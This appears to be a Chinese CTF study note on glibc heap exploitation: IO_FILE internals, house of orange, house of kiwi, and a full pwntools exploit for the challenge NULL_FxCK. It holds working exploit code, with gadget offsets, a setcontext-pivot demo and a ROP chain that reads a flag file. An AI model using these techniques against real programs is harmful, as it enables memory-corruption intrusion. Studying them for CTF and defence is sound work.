IO_FILE基础逻辑

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

其中一个是描述各个属性的结构体,另一个是描述文件操作行为的跳转表的指针

而其中描述文件属性的_IO_FILE结构体描述为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

而描述操作行为的_IO_jump_t表为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

以后再构造以下代码来跟踪一下IO_FILE流程和虚表执行

1
2
3
4
5
6
7
#include<stdio.h>
int main(){
char data[20];
FILE*fp=fopen("osaa","rb");
fread(data,1,20,fp);
return 0;
}

其中fopen函数详解和fread函数详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
size_t fread( void *buffer, size_t size, size_t count, FILE *stream );


void *buffer 参数 : 将文件中的二进制数据读取到该缓冲区中 ;
size_t size 参数 : 读取的 基本单元 字节大小 , 单位是字节 , 一般是 buffer 缓冲的单位大小 ;

如果 buffer 缓冲区是 char 数组 , 则该参数的值是 sizeof(char) ;
如果 buffer 缓冲区是 int 数组 , 则该参数的值是 sizeof(int) ;

size_t count 参数 : 读取的 基本单元 个数 ;
FILE *stream 参数 : 文件指针 ;

FILE * fopen(const char * path,const char * mode);

对于mode解释:
r 以只读方式打开文件,该文件必须存在。
r+ 以可读写方式打开文件,该文件必须存在。
rb+ 读写打开一个二进制文件,允许读写数据,文件必须存在。
w 打开只写文件,若文件存在则文件长度清为0,即该文件内容会消失。若文件不存在则建立该文件。
w+ 打开可读写文件,若文件存在则文件长度清为零,即该文件内容会消失。若文件不存在则建立该文件。
a 以附加的方式打开只写文件。若文件不存在,则会建立该文件,如果文件存在,写入的数据会被加到文件尾,即文件原先的内容会被保留。(EOF符保留)
a+ 以附加方式打开可读写的文件。若文件不存在,则会建立该文件,如果文件存在,写入的数据会被加到文件尾后,即文件原先的内容会被保留。 (原来的EOF符不保留)
wb 只写打开或新建一个二进制文件;只允许写数据。
wb+ 读写打开或建立一个二进制文件,允许读和写。
ab+ 读写打开一个二进制文件,允许读或在文件末追加数据。
wx 创建文本文件,只允许写入数据.[C11]
wbx 创建一个二进制文件,只允许写入数据.[C11]
w+x 创建一个文本文件,允许读写.[C11]
wb+x 创建一个二进制文件,允许读写.[C11]
w+bx 和"wb+x"相同[C11]

根据调试梳理一下整个调用思路,首先是从fread开始,可以发现是获得文件锁以后调用_IO_sgetn进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);

####关注点#### bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);

_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;

want = n;
#可以看到以下就是判断buf是否为空,如果为空我们就执行_IO_doallocbuf开辟空间,如果不为空我们就执行free,再执行_IO_doallocbuf
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}

####关注点#### _IO_doallocbuf (fp);

}

while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0)
{
#ifdef _LIBC
s = __mempcpy (s, fp->_IO_read_ptr, have);
#else
memcpy (s, fp->_IO_read_ptr, have);
s += have;
#endif
want -= have;
fp->_IO_read_ptr += have;
}

/* Check for backup and repeat */
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
continue;
}

/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;

continue;
}

/* These must be set before the sysread as we might longjmp out
waiting for input. */
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);

/* Try to maintain alignment: read a whole number of blocks. */
count = want;
if (fp->_IO_buf_base)
{
_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
if (block_size >= 128)
count -= want % block_size;
}

count = _IO_SYSREAD (fp, s, count);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN;

break;
}

s += count;
want -= count;
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
}
}

return n - want;
}
libc_hidden_def (_IO_file_xsgetn)

之后我们就进入_IO_doallocbuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int
_IO_file_doallocate (_IO_FILE *fp)
{
_IO_size_t size;
char *p;
struct stat64 st;

#ifndef _LIBC
/* If _IO_cleanup_registration_needed is non-zero, we should call the
function it points to. This is to make sure _IO_cleanup gets called
on exit. We call it from _IO_file_doallocate, since that is likely
to get called by any program that does buffered I/O. */
if (__glibc_unlikely (_IO_cleanup_registration_needed != NULL))
(*_IO_cleanup_registration_needed) ();
#endif

size = _IO_BUFSIZ;
if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0)
{
if (S_ISCHR (st.st_mode))
{
/* Possibly a tty. */
if (
#ifdef DEV_TTY_P
DEV_TTY_P (&st) ||
#endif
local_isatty (fp->_fileno))
fp->_flags |= _IO_LINE_BUF;
}
#if _IO_HAVE_ST_BLKSIZE
if (st.st_blksize > 0)
size = st.st_blksize;
#endif
}

###关注点### p = malloc (size); #可以看到我们这里使用了malloc开辟了空间

if (__glibc_unlikely (p == NULL))
return EOF;

###关注点### _IO_setb (fp, p, p + size, 1); #同时将p设置为缓冲区

return 1;
}
libc_hidden_def (_IO_file_doallocate)

之后我们再回到xget后续函数继续执行

1
2
3
4
5
6
7
8
9
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}

上面是缓冲区足够大直接复制,如果不够大的的话,就会先把缓冲区的内容写进用户换成区,再调用_underflow获取新的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 else
{
if (have > 0)
{
#ifdef _LIBC
s = __mempcpy (s, fp->_IO_read_ptr, have);
#else
memcpy (s, fp->_IO_read_ptr, have);
s += have;
#endif
want -= have;
fp->_IO_read_ptr += have;
}
/* Check for backup and repeat */
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
continue;
}
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{

###注意点###if (__underflow (fp) == EOF)

break;

continue;

跟进查看underflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int
__underflow (_IO_FILE *fp)
{
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
return EOF;
#endif

if (fp->_mode == 0)
_IO_fwide (fp, -1);
if (_IO_in_put_mode (fp))
if (_IO_switch_to_get_mode (fp) == EOF)
return EOF;
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
}
if (_IO_have_markers (fp))
{
if (save_for_backup (fp, fp->_IO_read_end))
return EOF;
}
else if (_IO_have_backup (fp))

_IO_free_backup_area (fp);

###注意点###return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)

发现是经过一系列判断以后进入_IO_UNDERFLOW完成功能,同时该功能还是在vtable中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int  
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
      _IO_doallocbuf (fp);
    }
#类似上文doalloc建立缓冲区
      _IO_acquire_lock (_IO_stdout);

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
  == (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);

      _IO_release_lock (_IO_stdout);
#endif
    }

  _IO_switch_to_get_mode (fp);

  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
       fp->_IO_buf_end - fp->_IO_buf_base);
#设置硬盘读取数据到缓冲区,在设定缓冲区的边界
  if (count <= 0)
    {
      if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

之后再回到xget执行后面的函数,至此我们可以大概梳理一下fread函数的调用

fread->_IO_sgetn->__GI__IO_file_xsgetn -> _IO_doallocbuf -> _IO_file_doallocate -> __underflow -> _IO_file_underflow

由此深入大概就是调用的概念

house of orange

首先大概看一下unsortbin attack流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
 for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
#这里会遍历unsortbin直到最后
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck; #若发生攻击,则unsortedbin的bk设置成了改写的victim->bk
bck->fd = unsorted_chunks (av);#把倒数第二个chunk的fd设置为unsorted_chunks(av)

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}

所以,如果将victim的bk改写为某个地址,则可以向这个地址+0x10(即为bck->fd)的地方写入unsortedbin的地址(&main_arena+88)

具体思路来说就是利用unsortbin attack伪造file结构满足fsop条件后执行exit()->_IO_flush_all_lockp->IO_overflow,(exit 函数关闭 stdout、stderr 后执行 exit() ,exit() 时系统会调用 _IO_flush_all_lockp ;或者随意输入一个不在菜单上的选项,让程序走main函数的return 0,也会调用`_IO_flush_all_lockp),在vtable劫持overflow为system,在原file为flag填写/bin/sh\x00。即可执行。

1
2
3
4
fsop条件
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base

house of kiwi

在2.29版本以后,pwn题通常解决方法(2.32)

  1. 劫持__free_hook,利用特定的gadget,将栈进行迁移

  2. 劫持__malloc_hooksetcontext+61的gadget,以及劫持IO_list_all单链表中的指针在exit结束中,在_IO_cleanup函数会进行缓冲区的刷新,从而读取flag

    3.setcontext + 61`从2.29之后变为由RDX寄存器控制寄存器了,所以需要控制RDX寄存器的指向的位置的部分数据,利用house of kiwi

分析一下fmyy师傅的kiwi的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// Ubuntu 20.04, GLIBC 2.32_Ubuntu2.2
//gcc demo.c -o main -z noexecstack -fstack-protector-all -pie -z now -masm=intel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x000000000002858F
#define pop_rdx_r12 libc_base + 0x0000000000114161
#define pop_rsi_ret libc_base + 0x000000000002AC3F
#define pop_rax_ret libc_base + 0x0000000000045580
#define syscall_ret libc_base + 0x00000000000611EA
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP[0x30];
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
struct sock_filter sfi[] ={
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x05,0xC000003E},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x02,0xFFFFFFFF},
{0x15,0x01,0x00,0x0000003B},
{0x06,0x00,0x00,0x7FFF0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {8, sfi};
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

void setROP()
{
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
}
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
sandbox();
libc_base = ((size_t)setvbuf) - 0x81630;
printf("LIBC:\t%#lx\n",libc_base);

size_t magic_gadget = libc_base + 0x53030 + 61; // setcontext + 61
size_t IO_helper = libc_base + 0x1E48C0; // _IO_hel
per_jumps;
size_t SYNC = libc_base + 0x1E5520; // sync pointer in _IO_file_jumps
setROP();
*((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
*((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
malloc(0x1000); // 触发assert
_exit(-1);
}

综合分析一下,大概的流程就是修改top_chunk来触发malloc->assert->fflush->IO_FILE_sync,跳转到setcontext+61进行rop构造,同时发现rdx的值这个时候由IO_helper_jumps,同时发现ret返回由rcx指定,储存在rdx+0xa8,所以我们构造IO_helper_jumps+0xa0为我们的rop,IO_helper_jumps+0xa8为ret返回地址,一次malloc之后就可以成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<setcontext+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
<setcontext+95>: test DWORD PTR fs:0x48,0x2
<setcontext+107>: je 0x7ffff7e31156 <setcontext+294>
->
<setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]
<setcontext+301>: push rcx
<setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]
<setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
<setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
<setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
<setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
<setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
<setcontext+332>: xor eax,eax
<setcontext+334>: ret

例题:NULL_FxCK

复现一下fmyy和wjh师傅的思路(真的太吊了,wjh师傅文章都能看到cnitlrt师傅,太吊惹惹惹:))

大概重新理一下思路,首先为了实现large bin attack我们需要构造一个大堆块重叠,这里的思路是依次构造add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6

利用的关键就在#3堆块处实现重叠,首先free 0.3.5使得#3具有0的fd,5的bk,之后再free 2使得2和3合并堆块,之后再malloc一个0x440大小的堆块覆盖3并且改变3的size为0xc91使其覆盖后面的所有chunk,之后就是修复0的bk为3,这一步直接free再malloc回来就可以了,但是在修复5的fd为3时候,我们需要用到largebin,方法步骤类似上一步,但同时记得改变0xc90位unlink做准备并且malloc 0x430再刚好错位的地方踩出libc,之后我们show 4 5就可以泄露libc和heap地址,之后的思路就是large bin attack在tls段tcache struct的地址段分大小写sync,io_helper_jumps+0xa0,top_chunk的地址,之后我们再在sync中写入setcontext+61,在io_helper_jumps+0xa0写入rop链+0xa8地方写入flag地址ret,改变top chunk大小,在直接malloc一个大于top_size就可以触发.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import*
r=process("./main")
context.log_level="debug"
#libc=ELF("/home/osaa/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6")
elf=ELF("./main")
libc=elf.libc

def cho(num):
r.sendafter(">> ",str(num))

def add(size,content=b'\x00'):
cho(1)
r.sendlineafter("Size: ",str(size))
r.sendafter("Content: ",content)

def edit(idx,con):
cho(2)
r.sendlineafter("Index: ",str(idx))
r.sendafter("Content: ",con)
def show(idx):
cho(4)
r.sendlineafter("Index: ",str(idx))
def delet(idx):
cho(3)
r.sendlineafter("Index: ",str(idx))

add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3 fd->0 bk->5
add(0x208) #4
add(0x428) #5
add(0x208) #6

delet(0)
delet(3)
delet(5)
delet(2)

add(0x440, b'a' * 0x428 + p64(0xc91)) #0
add(0x418) #2 fk->#5
add(0x418) #3
add(0x428) #5 bk-> #1

delet(3)
delet(2)
add(0x418, b'a' * 9)#2
add(0x418) #5

delet(3)
delet(5)
add(0x9f8)#7
add(0x428,b"a")

edit(6,b'c'*0x200+p64(0xc90)+b"\x00")
add(0x418)
add(0x208)
delet(3)

add(0x430,p64(0)*3+p64(0x421))
add(0x1600)

show(4)
libc_base=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x1e4230
log.success("libc_base->"+hex(libc_base))
show(5)
# heap_base=u64(r.recvuntil("\x55"))[-6:].ljust(8,b"\x00")
heap_base=u64(r.recv(6).ljust(8,b"\x00"))-0x2b0
log.success("heap_base->"+hex(heap_base))

io_file_jumps = libc_base+0x1E54C0
io_helper_jumps = libc_base+0x1E48C0
setcontext_addr = libc_base+libc.sym['setcontext']+61
open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
write_addr = libc_base+libc.sym['write']
pop_rdi_ret = libc_base+0x000000000002858f
pop_rsi_ret = libc_base+0x000000000002ac3f
pop_rdx_r12_ret = libc_base+0x0000000000114161
ret_addr = libc_base+0x0000000000026699
#log.success(hex(pop_rsi_ret))

rop_addr = heap_base+0x8e0
flag_addr = heap_base+0x8e0+0x100
""" rop_chain = flat([
pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr,
pop_rdi_ret,3,pop_rsi_ret,flag_addr,pop_rdx_r12_ret,0x50,0,read_addr,
pop_rdi_ret,1,write_addr
]).ljust(0x100,b'\x00')+b'flag\x00' """
rop_chain=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
rop_chain+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)+p64(open_addr)
rop_chain+=p64(pop_rdi_ret)+p64(1)+p64(write_addr)
rop_chain=rop_chain.ljust(0x100,b"\x00")+b"flag\x00"
tls = libc_base+0x1EB538
#log.success(hex(tls))#malloc_init


add(0x1240,b'd'*0x208+p64(0x431)+b'd'*0x428+p64(0x211)+b'd'*0x208+p64(0xa01))#10
delet(0)
add(0x440,rop_chain)

add(0x418)#11
add(0x208)#12
delet(5)
delet(4)
add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))
delet(11)
add(0x500)#5
#log.success(hex(tls))
add(0x410) #11

delet(4)
add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
tls_struct = b'\x01'*0x40
tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0)

log.success(hex(setcontext_addr)+">---->"+hex(io_file_jumps+0x60)+">--->"+hex(io_helper_jumps))
add(0x420,tls_struct)
add(0x100,p64(setcontext_addr))
add(0x200,p64(rop_addr)+p64(ret_addr))
add(0x210,p64(0)+p64(0x910))

r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(0x1000))
#gdb.attach(r)
r.interactive()

house of emma

reference

https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop#fsop

https://www.anquanke.com/post/id/235598

https://bbs.kanxue.com/thread-273746.htm#msg_header_h2_7

https://www.anquanke.com/post/id/236078#h3-11